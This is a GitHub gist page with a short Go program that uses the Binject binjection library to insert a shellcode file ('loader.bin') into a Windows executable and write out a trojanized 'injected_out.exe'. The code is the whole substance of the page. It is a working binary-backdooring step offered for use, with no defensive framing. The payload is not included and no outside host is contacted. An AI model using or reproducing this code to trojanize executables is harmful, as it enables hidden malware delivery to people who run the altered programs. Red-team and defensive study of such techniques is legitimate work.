Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Using the binject/binjection library programatically
package main
import(
"io/ioutil"
"fmt"
"github.com/Binject/binjection/bj"
)
var (
example_path = "example.exe"
example_shellcode = "loader.bin"
injected_out = "injected_out.exe"
)
func main() {
in_dat, err := ioutil.ReadFile(example_path)
if err != nil {
fmt.Println(err.Error())
}
payload, err := ioutil.ReadFile(example_shellcode)
if err != nil {
fmt.Println(err.Error())
}
injected_bytes, err := bj.PeBinject(in_dat, payload, &bj.BinjectConfig{
InjectionMethod: bj.PE,
})
if err != nil {
fmt.Println(err.Error())
}
err = ioutil.WriteFile(injected_out, injected_bytes, 0700)
if err != nil {
fmt.Println(err.Error())
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.